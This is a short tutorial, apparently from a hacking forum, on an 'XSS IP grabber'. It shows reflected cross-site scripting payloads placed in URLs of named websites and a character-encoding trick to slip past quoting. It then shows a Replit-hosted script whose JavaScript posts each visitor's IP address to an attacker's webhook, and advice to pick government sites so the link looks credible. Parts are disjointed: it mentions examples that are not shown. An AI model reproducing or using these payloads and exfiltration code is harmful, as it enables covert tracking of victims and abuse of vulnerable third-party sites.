XSS_IP_Grabber_Method
XSS_IP_Grabber_Method
Find sites that display the specific text in the URL that caused the error.
https://www.mmftimberhub.com/work_detail.php?id=<marquee><h1>BreachForu
ms is da best!</h1></marquee>
https://www.colegiosguatemala.com/blog/visualizar.php?id=71?clave=<script>aler
t(String.fromCharCode(35, 70, 114, 101, 101, 80, 111, 109));</script>
As you can see in the third and fourth examples, I had to use String.fromCharCode
to encode quotation marks and hashtags.
This was written before it became known Pompompurin was a child groomer. I’m
too lazy to change the examples. Also, most of these sites are no longer up. You’ll
have to find your own.
Having the entire script in the URL would look slightly suspicious. It’s better to
have the script stored on a Repl (https://replit.com), and use <script> src to load it
from the site (You can also send a Repl to a person directly to log their IP address.
If the person knows what Replit is, however, this might not be the best choice.).
Make a new HTML, CSS, JS Repl. The length of the Repl’s name will affect the
length of the crafted URL, so make it as short as possible.
Once you have made the new Repl, go to script.js and copy and paste the code
below (make sure to change the webhook!):
function getIP(json) {
const request = new XMLHttpRequest();
request.open("POST", "YOUR_WEBHOOK_HERE");
request.setRequestHeader('Content-type', 'application/json');
const params = {
username: "IP Grabber",
avatar_url: "",
content: json.ip
}
request.send(JSON.stringify(params));
}
The crafted URL is finished. Whoever clicks on it will have your Javascript run on
their computer.
The inurl:”gov” parameter searches for only government websites. This may add
credibility to the final link.